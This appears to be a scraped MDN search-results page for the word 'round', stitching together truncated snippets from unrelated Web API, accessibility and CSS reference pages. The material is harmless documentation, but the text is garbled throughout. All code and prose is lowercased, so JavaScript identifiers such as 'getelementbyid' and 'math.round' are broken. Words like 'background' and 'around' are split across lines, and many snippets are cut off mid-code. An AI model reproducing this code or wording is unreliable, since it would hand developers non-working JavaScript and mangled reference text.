roundcolor = '#' + currentcolor; pelem.style.fontfamily = currentfont; imgelem.setattribute('src', currentimage); } here, the first three lines grab the values from local storage.
... function populatestorage() { localstorage.setitem('bgcolor', document.getelementbyid('bgcolor').value); localstorage.setitem('font', document.getelementbyid('font').value); localstorage.setitem('image', document.getelementbyid('image').value); setstyles(); } the populatestorage() function sets three items in local storage — the backg
round color, font, and image path.
Web Workers API - Web APIs
web workers makes it possible to run a script operation in a backg
round thread separate from the main execution thread of a web application.
...they will also allow access to push notifications and backg
round sync apis.
window.cancelIdleCallback() - Web APIs
example see our complete example in the article cooperative scheduling of backg
round tasks api.
... specifications specification status comment cooperative scheduling of backg
round tasks proposed recommendation initial definition.
window.location - Web APIs
_usehash, _scrollx, _scrolly, _nodex, _nodey, _itframe, _scrollid = -1, _bookmark, /* * nduration: the duration in milliseconds of each frame * nframes: number of frames for each scroll */ nduration = 200, nframes = 10; function _next () { if (_itframe > nframes) { clearinterval(_scrollid); _scrollid = -1; return; } _isbot = true; document.documentelement.scrolltop = math.
round(_scrolly + (_nodey - _scrolly) * _itframe / nframes); document.documentelement.scrollleft = math.
round(_scrollx + (_nodex - _scrollx) * _itframe / nframes); if (_usehash && _itframe === nframes) { location.hash = _bookmark; } _itframe++; } function _chkowner () { if (_isbot) { _isbot = false; return; } if (_scrollid > -1) { clearinterval(_scrollid); _scrollid = -1; } } if (win...
...kowner); } return function (sbookmark, busehash) { var onode = document.queryselector(sbookmark); _scrolly = document.documentelement.scrolltop; _scrollx = document.documentelement.scrollleft; _bookmark = sbookmark; _usehash = busehash === true; _nodex = onode.offsetleft; _nodey = onode.offsettop; _itframe = 1; if (_scrollid === -1) { _scrollid = setinterval(_next, math.
round(nduration / nframes)); } }; })(); specifications specification status comment html living standardthe definition of 'window.location' in that specification.
Window.open() - Web APIs
users can be using browser-built-in feature or extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "backg
round" or not.
..., jakob nielsen, may 1999 when extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "backg
round" or not).
window.postMessage() - Web APIs
(the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to communicate directly with an extension (either the backg
round script or a content script).
... content scripts should use runtime.sendmessage to communicate with the backg
round script.
Window.scrollX - Web APIs
if you need an integer value, you can use math.
round() to
round it off.
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked a
round by checking other non-standard properties.
Window.scrollY - Web APIs
if you need an integer value, you can use math.
round() to
round it off.
...additionally, older versions of internet explorer (< 9) do not support either property and must be worked a
round by checking other non-standard properties.
XMLHttpRequest - Web APIs
xmlhttprequest.mozbackg
roundrequest is a boolean.
... it indicates whether or not the object represents a backg
round service request.
XRBoundedReferenceSpace - Web APIs
this extends xrreferencespace, which describes an essentially unrestricted space a
round the viewer's position.
...these vertices must be sorted such that they move clockwise a
round the viewer's position.
XRView - Web APIs
currently, the specification (and therefore all current implementations of webxr) is designed a
round rendering every xrview into a single xrwebgllayer, which is then presented on the xr device with half used for the left eye and half for the right eye.
...this represents the rotation of the object given the values of mousepitch (rotation a
round the object's reference's space's x axis) and mouseyaw (rotation a
round the object's y axis).
XSL Transformations in Mozilla FAQ - Web APIs
a known worka
round is to add a sufficiently long xml comment to the beginning of your xml file in order to "push" the <feed> or <rss> tag out of the first 512 bytes, which is analyzed by firefox to determine if it's a feed or not.
...in most cases, there are pretty easy worka
rounds.
ARIA: grid role - Accessibility
y { margin: 2rem; font-family: "helvetica neue", sans-serif; } table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { backg
round-color: #f6f6f6; outline: 3px solid blue; } } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(g...
... </tr> <!-- … additional rows … --> </tbody> </table> css table { margin: 0; border-collapse: collapse; font-variant-numeric: tabular-nums; } tbody th, tbody td { padding: 5px; } tbody td { border: 1px solid #000; text-align: right; color: #767676; } tbody td[role="gridcell"] { color: #000; } tbody td[role="gridcell"]:hover, tbody td[role="gridcell"]:focus { backg
round-color: #f6f6f6; outline: 3px solid blue; } javascript var selectables = document.queryselectorall('table td[role="gridcell"]'); selectables[0].setattribute('tabindex', 0); var trs = document.queryselectorall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.
Cognitive accessibility - Accessibility
if the tab order jumps a
round, especially in a way that does not match the visual order when navigating with a keyboard, users can become disoriented.
...links will be removed from the context of their sur
rounding non-link content, making the need for understandable link text even more important.
Accessibility Information for Web Authors - Accessibility
(...) about one-third complained about low contrast between text and backg
round." top ten web design mistakes of 2005: 1.
... legibility problems how can a web author establish easily and quickly if the backg
round color and foreg
round (text) color in use in his webpages have sufficient color contrast difference and sufficient color brightness difference?
Keyboard-navigable JavaScript widgets - Accessibility
the event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or backg
round color).
...choose between changing the backg
round color via something like this.style.backg
roundcolor = "gray"; or add a dotted border via this.style.border = "1px dotted invert".
Operable - Accessibility
2.4.4 link purpose (in context) (a) the purpose/destination of a link can be determined from the link text, or from its sur
roundings (e.g.
... the sur
rounding text).
Custom properties (--*): CSS variables - CSS: Cascading Style Sheets
formal syntax <declaration-value> example html <p id="firstparagraph">this paragraph should have a blue backg
round and yellow text.</p> <p id="secondparagraph">this paragraph should have a yellow backg
round and blue text.</p> <div id="container"> <p id="thirdparagraph">this paragraph should have a green backg
round and yellow text.</p> </div> css :root { --first-color: #488cff; --second-color: #ffff8c; } #firstparagraph { backg
round-color: var(--first-color); color: var(--second-color); } #second...
...paragraph { backg
round-color: var(--second-color); color: var(--first-color); } #container { --first-color: #48ff32; } #thirdparagraph { backg
round-color: var(--first-color); color: var(--second-color); } result specifications specification status comment css custom properties for cascading variables module level 1the definition of '--*' in that specification.
-moz-context-properties - CSS: Cascading Style Sheets
if you reference an svg image in a webpage (such as with the <img> element or as a backg
round image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... formal definition initial valuenoneapplies toany element that can have an image applied to it, for example as a backg
round-image, border-image, or list-style-image.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ fill | fill-opacity | stroke | stroke-opacity ]# examples exposing fill and stroke to an svg image in this example we have a simple svg embedded using an <img> element.
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-bottomright css property can be used to
round the bottom-right corner of an element's outline.
... <percentage> the radius of the circle defining the
rounding of the bottom-right corner of the element, specified as the percentages of the bottom and right sides of the border box.
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-topleft css property can be used to
round the top-left corner of an element's outline.
... <percentage> the radius of the circle defining the
rounding of the top-left corner of the element, specified as the percentages of the top and left sides of the border box.
-moz-outline-radius-topright - CSS: Cascading Style Sheets
in mozilla applications, the -moz-outline-radius-topright css property can be used to
round the top-right corner of an element's outline.
... <percentage> the radius of the circle defining the
rounding of the top-right corner of the element, specified as the percentages of the top and right sides of the border box.
::after (:after) - CSS: Cascading Style Sheets
</span> css .ribbon { backg
round-color: #5bc8f7; } .ribbon::after { content: "this is a fancy orange box."; backg
round-color: #ffba10; border-color: black; border-style: dotted; } result tooltips this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create tooltips.
...</p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; backg
round-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
::backdrop - CSS: Cascading Style Sheets
/* backdrop is only displayed when dialog is opened with dialog.showmodal() */ dialog::backdrop { backg
round: rgba(255,0,0,.25); } all full-screen elements are placed in a last-in/first out (lifo) stack in the top layer, which is a special layer in the viewport which is always rendered last (and therefore on top) before drawing the viewport's contents to the screen.
... video::backdrop { backg
round-color: #448; } the resulting screen looks like this: note the dark grey-blue letterbox effect above and below where the backdrop is visible.
::before (:before) - CSS: Cascading Style Sheets
html <span class="ribbon">notice where the orange box is.</span> css .ribbon { backg
round-color: #5bc8f7; } .ribbon::before { content: "look at this orange box."; backg
round-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in this example we will create a simple to-do list using pseudo-elements.
... html <ul> <li>buy milk</li> <li>take the dog for a walk</li> <li>exercise</li> <li>write code</li> <li>play music</li> <li>relax</li> </ul> css li { list-style-type: none; position: relative; margin: 2px; padding: 0.5em 0.5em 0.5em 2em; backg
round: lightgrey; font-family: sans-serif; } li.done { backg
round: #ccff99; } li.done::before { content: ''; position: absolute; border-color: #009933; border-style: solid; border-width: 0 0.3em 0.25em 0; height: 1em; top: 1.3em; left: 0.6em; margin-top: -1em; transform: rotate(45deg); width: 0.5em; } javascript var list = document.queryselector('ul'); list.addeventlistener('click', function(ev) { if (ev.targe...
::cue-region - CSS: Cascading Style Sheets
the only exception is that backg
round and its shorthand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: backg
round backg
round-attachment backg
round-clip backg
round-color backg
round-image backg
round-origin backg
round-position backg
round-repeat backg
round-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe definiti...
::first-letter (:first-letter) - CSS: Cascading Style Sheets
he ::first-letter pseudo-element: all font properties : font, font-style, font-feature-settings, font-kerning, font-language-override, font-stretch, font-synthesis, font-variant, font-variant-alternates, font-variant-caps, font-variant-east-asian, font-variant-ligatures, font-variant-numeric, font-variant-position, font-weight, font-size, font-size-adjust, line-height and font-family all backg
round properties : backg
round, backg
round-color, backg
round-image, backg
round-clip, backg
round-origin, backg
round-position, backg
round-repeat, backg
round-size, backg
round-attachment, and backg
round-blend-mode all margin properties: margin, margin-top, margin-right, margin-bottom, margin-left all padding properties: padding, padding-top, padding-right, padding-bottom, padding-left all border properti...
...stet clita kasd gubergren, no sea takimata sanctus est.</p> <p>duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.</p> css p { width: 500px; line-height: 1.5; } h2 + p::first-letter { color: white; backg
round-color: black; border-radius: 2px; box-shadow: 3px 3px 0 red; font-size: 250%; padding: 6px 3px; margin-right: 6px; float: left; } result effect on special punctuation and non-latin characters this example illustrates the effect of ::first-letter on special punctuation and non-latin characters.
::placeholder - CSS: Cascading Style Sheets
it is important to ensure that the contrast ratio between the color of the placeholder text and the backg
round of the input is high enough that people experiencing low vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.
... color contrast ratio is determined by comparing the luminosity of the placeholder text and the input backg
round color values.
:active - CSS: Cascading Style Sheets
syntax :active examples active links html <p>this paragraph contains a link: <a href="#">this link will turn red while you click on it.</a> the paragraph will get a gray backg
round while you click on it or the link.
... </p> css a:link { color: blue; } /* unvisited links */ a:visited { color: purple; } /* visited links */ a:hover { backg
round: yellow; } /* hovered links */ a:active { color: red; } /* active links */ p:active { backg
round: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { backg
round: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
:checked - CSS: Cascading Style Sheets
ext]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expandable { visibility: collapse; backg
round: #ddd; } /* style the button */ #expand-btn { display: inline-block; margin-top: 12px; padding: 5px 11px; backg
round-color: #ff7; border: 1px solid; border-radius: 3px; } /* show hidden content when the checkbox is checked */ #expand-toggle:checked ~ * .expandable { visibility: visible; } /* style the button when the checkbox is checked */ #expand-toggle:checked ~ #expand-btn { ...
... backg
round-color: #ccc; } result image gallery you can use the :checked pseudo-class to build an image gallery with full-size images that show only when the user clicks on a thumbnail.
:dir() - CSS: Cascading Style Sheets
/* selects any element with right-to-left text */ :dir(rtl) { backg
round-color: red; } the :dir() pseudo-class uses only the semantic value of the directionality, i.e., the one defined in the document itself.
... formal syntax :dir( ltr | rtl ) examples html <div dir="rtl"> <span>test1</span> <div dir="ltr">test2 <div dir="auto">עִבְרִית</div> </div> </div> css :dir(ltr) { backg
round-color: yellow; } :dir(rtl) { backg
round-color: powderblue; } result specifications specification status comment html living standardthe definition of ':dir(ltr)' in that specification.
:disabled - CSS: Cascading Style Sheets
/* selects any disabled <input> */ input:disabled { backg
round: #ccc; } syntax :disabled examples this example shows a basic shipping form.
... <legend>billing address</legend> <label for="billing-checkbox">same as shipping address:</label> <input type="checkbox" id="billing-checkbox" checked> <br> <input type="text" placeholder="name" disabled> <input type="text" placeholder="address" disabled> <input type="text" placeholder="zip code" disabled> </fieldset> </form> css input[type="text"]:disabled { backg
round: #ccc; } javascript // wait for the page to finish loading document.addeventlistener('domcontentloaded', function () { // attach `change` event listener to checkbox document.getelementbyid('billing-checkbox').onchange = togglebilling; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); ...
:focus-within - CSS: Cascading Style Sheets
(this includes descendants in shadow trees.) /* selects a <div> when one of its descendants is focused */ div:focus-within { backg
round: cyan; } this selector is useful, to take a common example, for highlighting an entire <form> container when the user focuses on one of its <input> fields.
... html <p>try typing into this form.</p> <form> <label for="given_name">given name:</label> <input id="given_name" type="text"> <br> <label for="family_name">family name:</label> <input id="family_name" type="text"> </form> css form { border: 1px solid; color: gray; padding: 4px; } form:focus-within { backg
round: #ff8; color: black; } input { margin: 4px; } result specifications specification status comment selectors level 4the definition of ':focus-within' in that specification.
:host() - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap a
round text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot...
...ppendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { backg
round: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host(.footer) { color : red; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color.
:host-context() - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap a
round text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot...
...ppendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { backg
round: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host-context(h1) { font-style: italic; } and :host-context(h1):after { content: " - no links in headers!" } rules style the instance of the <context-span> element (the shadow host in this instance) inside the <h1>.
:host - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap a
round text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.textcontent = this.textcontent; const shadowroot...
...ppendchild(span); style.textcontent = 'span:hover { text-decoration: underline; }' + ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after { content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { backg
round: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host { backg
round: rgba(0,0,0,0.1); padding: 2px 5px; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document.
:in-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is inside that range */ input:in-range { backg
round-color: rgba(0, 255, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is within the permitted limits.
... <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { backg
round-color: rgba(0, 255, 0, 0.25); } input:out-of-range { backg
round-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specificat...
:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate { backg
round: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associate...
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label { backg
round: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; backg
round-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:invalid - CSS: Cascading Style Sheets
/* selects any invalid <input> */ input:invalid { backg
round-color: pink; } this pseudo-class is useful for highlighting field errors for the user.
... <div class="field"> <label for="url_input">enter a url:</label> <input type="url" id="url_input"> </div> <div class="field"> <label for="email_input">enter an email address:</label> <input type="email" id="email_input" required> </div> </form> css label { display: block; margin: 1px; padding: 1px; } .field { margin: 1px; padding: 1px; } input:invalid { backg
round-color: #ffdddd; } form:invalid { border: 5px solid #ffdddd; } input:valid { backg
round-color: #ddffdd; } form:valid { border: 5px solid #ddffdd; } input:required { border-color: #800000; border-width: 3px; } input:required:invalid { border-color: #c00000; } result accessibility concerns the color red is commonly used to indicate invalid input.
:link - CSS: Cascading Style Sheets
(after that, you'll need to clear your browser history to see them again.) however, the backg
round-color values are likely to remain, as most browsers do not set that property on visited links by default.
... html <a href="#ordinary-target">this is an ordinary link.</a><br> <a href="">you've already visited this link.</a><br> <a>placeholder link (won't get styled)</a> css a:link { backg
round-color: gold; color: green; } result specifications specification status comment html living standardthe definition of ':link' in that specification.
:out-of-range - CSS: Cascading Style Sheets
/* selects any <input>, but only when it has a range specified, and its value is outside that range */ input:out-of-range { backg
round-color: rgba(255, 0, 0, 0.25); } this pseudo-class is useful for giving the user a visual indication that a field's current value is outside the permitted limits.
...xamples html <form action="" id="form1"> <p>values between 1 and 10 are valid.</p> <ul> <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { backg
round-color: rgba(0, 255, 0, 0.25); } input:out-of-range { backg
round-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':out-of-range' in that specif...
:visited - CSS: Cascading Style Sheets
styling restrictions for privacy reasons, browsers strictly limit which styles you can apply using this pseudo-class, and how they can be used: allowable css properties are color, backg
round-color, border-color, border-bottom-color, border-left-color, border-right-color, border-top-color, column-rule-color, outline-color, text-decoration-color, and text-emphasis-color.
... html <a href="#test-visited-link">have you visited this link yet?</a><br> <a href="">you've already visited this link.</a> css a { /* specify non-transparent defaults to certain properties, allowing them to be styled with the :visited state */ backg
round-color: white; border: 1px solid white; } a:visited { backg
round-color: yellow; border-color: hotpink; color: hotpink; } result specifications specification status comment html living standardthe definition of ':visited' in that specification.
aspect-ratio - CSS: Cascading Style Sheets
</div> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { backg
round: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { backg
round: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { backg
round: #f9a; /* red */ } } _example used iframe and dataurl to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input...
... id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { backg
round: %239af; } } @media (max-aspect-ratio: 3/2) { div { backg
round: %239ff; } } @media (aspect-ratio: 1/1) { div { backg
round: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.tex...
@viewport - CSS: Cascading Style Sheets
note: see https://github.com/w3c/csswg-drafts/issues/4766 for discussion a
round @viewport's removal from the standards track.
... formal syntax @viewport { <group-rule-body> } examples setting viewport size, zoom, and orientation @viewport { min-width: 640px; max-width: 800px; } @viewport { zoom: 0.75; min-zoom: 0.5; max-zoom: 0.9; } @viewport { orientation: landscape; } specifications specification status comment css
round display level 1the definition of '@viewport' in that specification.
Attribute selectors - CSS: Cascading Style Sheets
examples links css a { color: blue; } /* internal links, beginning with "#" */ a[href^="#"] { backg
round-color: gold; } /* links with "example" anywhere in the url */ a[href*="example"] { backg
round-color: silver; } /* links with "insensitive" anywhere in the url, regardless of capitalization */ a[href*="insensitive" i] { color: cyan; } /* links with "case" anywhere in the url, with matching capitalization */ a[href*="case" s] { color: pink; } /* links that end in ".org" */ a[href$=".or...
...*/ ol[type="a"] { list-style-type: lower-alpha; backg
round: red; } ol[type="a" s] { list-style-type: lower-alpha; backg
round: lime; } ol[type="a" s] { list-style-type: upper-alpha; backg
round: lime; } html <ol type="a"> <li>example list</li> </ol> result specifications specification status comment selectors level 4the definition of 'attribute selectors' in that specification.
Box alignment in Flexbox - CSS: Cascading Style Sheets
set justify-content: flex-end and the extra space is placed before the items, justify-content: space-a
round and it is placed either side of the item in that dimension, etc.
... this means that a justify-self property does not make sense in flexbox as we are always dealing with moving the entire group of items a
round.
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
the align-content property takes the following values: align-content: flex-start align-content: flex-end align-content: center align-content: space-between align-content: space-a
round align-content: stretch align-content: space-evenly (not defined in the flexbox specification) in the live example below, the flex container has a height of 400 pixels, which is more than needed to display our items.
... justify-content: flex-start justify-content: flex-end justify-content: center justify-content: space-between justify-content: space-a
round justify-content: space-evenly (not defined in the flexbox specification) in the example below, the value of justify-content is space-between.
OpenType font features guide - CSS: Cascading Style Sheets
these are designed to work with the sur
rounding text without altering the baseline or line spacing.
...these are designed to be used inline with copy so the numerals visually blend with the sur
rounding glyphs in a similar fashion to small caps.
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column: 1; grid-row: 2; } <div class="wrapper"> <div class="box box1"><a href="">one</a></div> <div class="box box...
...the key here is to keep testing, a very simple test is to tab a
round the document.
CSS Grid Layout - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid rgb(233,171,88); border-radius: 5px; backg
round-color: rgba(233,171,88,.5); padding: 1em; color: #d9480f; } html <div class="wrapper"> <div class="one">one</div> <div class="two">two</div> <div class="three">three</div> <div class="four">four</div> <div class="five">five</div> <div class="six">six</div> </div> css .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: minma...
...ayout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen simmons grid by example - a collection of usage examples and video tutorials codrops grid reference firefox devtools css grid inspector css grid playg
round grid garden - a game for learning css grid specifications specification status comment css grid layout module level 2 working draft added subgrids.
Using z-index - CSS: Cascading Style Sheets
"> <b>div #4</b> <br />position: absolute; <br />z-index: 1; </div> <div id="sta1"> <b>div #5</b> <br />no positioning <br />z-index: 8; </div> css div { padding: 10px; opacity: 0.7; text-align: center; } b { font-family: sans-serif; } #abs1 { z-index: 5; position: absolute; width: 150px; height: 350px; top: 10px; left: 10px; border: 1px dashed #900; backg
round-color: #fdd; } #rel1 { z-index: 3; height: 100px; position: relative; top: 30px; border: 1px dashed #696; backg
round-color: #cfc; margin: 0px 50px 0px 50px; } #rel2 { z-index: 2; height: 100px; position: relative; top: 15px; left: 20px; border: 1px dashed #696; backg
round-color: #cfc; margin: 0px 50px 0px 50px; } #abs2 { z-index: 1; position: absolute; width...
...: 150px; height: 350px; top: 10px; right: 10px; border: 1px dashed #900; backg
round-color: #fdd; } #sta1 { z-index: 8; height: 70px; border: 1px dashed #996; backg
round-color: #ffc; margin: 0px 50px 0px 50px; } ...
Stacking context example 1 - CSS: Cascading Style Sheets
/div> <br /> <div id="div3"> <br /><span class="bold">div #3</span> <br />position: relative; <div id="div4"> <br /><span class="bold">div #4</span> <br />position: absolute; <br />z-index: 2; </div> </div> </body></html> css .bold { font-weight: bold; font: 12px arial; } #div1, #div3 { height: 80px; position: relative; border: 1px dashed #669966; backg
round-color: #ccffcc; padding-left: 5px; } #div2 { opacity: 0.8; z-index: 1; position: absolute; width: 150px; height: 200px; top: 20px; left: 170px; border: 1px dashed #990000; backg
round-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; z-index: 2; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; ...
... border: 1px dashed #000099; backg
round-color: #ddddff; text-align: left; padding-left: 10px; } result ...
Stacking context example 3 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } div.lev1 { width: 250px; height: 70px; position: relative; border: 2px outset #669966; backg
round-color: #ccffcc; padding-left: 5px; } #container1 { z-index: 1; position: absolute; top: 30px; left: 75px; } div.lev2 { opacity: 0.9; width: 200px; height: 60px; position: relative; border: 2px outset #990000; backg
round-color: #ffdddd; padding-left: 5px; } #container2 { z-index: 1; position: absolute; top: 20px; left: 110px; } div.lev3 { z-in...
...dex: 10; width: 100px; position: relative; border: 2px outset #000099; backg
round-color: #ddddff; padding-left: 5px; } </style></head> <body> <br /> <div class="lev1"> <span class="bold">level #1</span> <div id="container1"> <div class="lev2"> <br /><span class="bold">level #2</span> <br />z-index: 1; <div id="container2"> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> ...
The stacking context - CSS: Cascading Style Sheets
z-index: 1;</code> </div> <div id="div6"> <h1>division element #6</h1> <code>position: absolute;<br/> z-index: 3;</code> </div> </div> css * { margin: 0; } html { padding: 20px; font: 12px/20px arial, sans-serif; } div { opacity: 0.7; position: relative; } h1 { font: inherit; font-weight: bold; } #div1, #div2 { border: 1px dashed #696; padding: 10px; backg
round-color: #cfc; } #div1 { z-index: 5; margin-bottom: 190px; } #div2 { z-index: 2; } #div3 { z-index: 4; opacity: 1; position: absolute; top: 40px; left: 180px; width: 330px; border: 1px dashed #900; backg
round-color: #fdd; padding: 40px 20px 20px; } #div4, #div5 { border: 1px dashed #996; backg
round-color: #ffc; } #div4 { z-index: 6; margin-bottom: 15px; padding: 25...
...px 10px 5px; } #div5 { z-index: 1; margin-top: 15px; padding: 5px 10px; } #div6 { z-index: 3; position: absolute; top: 20px; left: 180px; width: 150px; height: 125px; border: 1px dashed #009; padding-top: 125px; backg
round-color: #ddf; text-align: center; } result ...
CSS Shapes - CSS: Cascading Style Sheets
the specification defines a number of different ways to define a shape on a floated element, causing wrapping lines to wrap
round the shape rather than following the rectangle of the element's box.
